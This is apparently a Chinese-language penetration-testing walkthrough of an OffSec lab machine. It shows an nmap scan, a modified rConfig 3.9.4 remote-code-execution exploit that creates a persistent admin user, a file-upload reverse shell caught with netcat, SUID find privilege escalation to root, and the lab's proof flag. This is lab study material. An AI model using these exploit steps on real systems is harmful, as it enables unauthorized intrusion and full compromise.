主要知识点

• 端口转发

具体步骤

执行nmap扫描,开了好多端口，我先试验80和8081，看起来8081比较有趣

Nmap scan report for 192.168.51.57
Host is up (0.0011s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.49.51
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA)
|   256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA)
|_  256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open  mysql       MariaDB (unauthorized)
8081/tcp open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request

访问8081端口，发现rConfig 3.9.4正在运行

搜索一下exploit得到了 rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution - PHP webapps Exploit 需要修改一下exp,在发送request的时候加入 verify=False参数，否则会报自签名证书错误，不过还是会失败在下面这一步，不过至少创建出了admin用户，把exp最后的删除admin user的代码去掉，保留admin权限

[+] Adding a temporary admin user...
[+] Authenticating as pxaovedjzi...
[+] Logged in successfully, triggering the payload...
[+] Check your listener !
[-] The command was not executed by the target or you forgot to open a listener...
[+] Removing the temporary admin user...
[+] Done.

继续搜索信息，得到了https://gist.github.com/farid007/9f6ad063645d5b1550298c8b9ae953ff 

看来同样具有admin+file upload漏洞，得到reverse shell

C:\home\kali\Documents\OFFSEC\GoToWork\Quackerjack> nc -nlvp 80  
listening on [any] 80 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.162.57] 47790
Linux quackerjack 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:04:35 up 13 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

继续寻找信息，发现 /usr/bin/find命令有 SUID权限，直接利用，得到root权限

bash-4.2$ find / -type f -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
/usr/bin/find
......
......
/usr/libexec/dbus-1/dbus-daemon-launch-helper
bash-4.2$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
sh-4.2# id
id
uid=48(apache) gid=48(apache) euid=0(root) groups=48(apache)
sh-4.2# cat /root/proof.txt
cat /root/proof.txt
307a236503d332668cdf2eb1fd38c2f1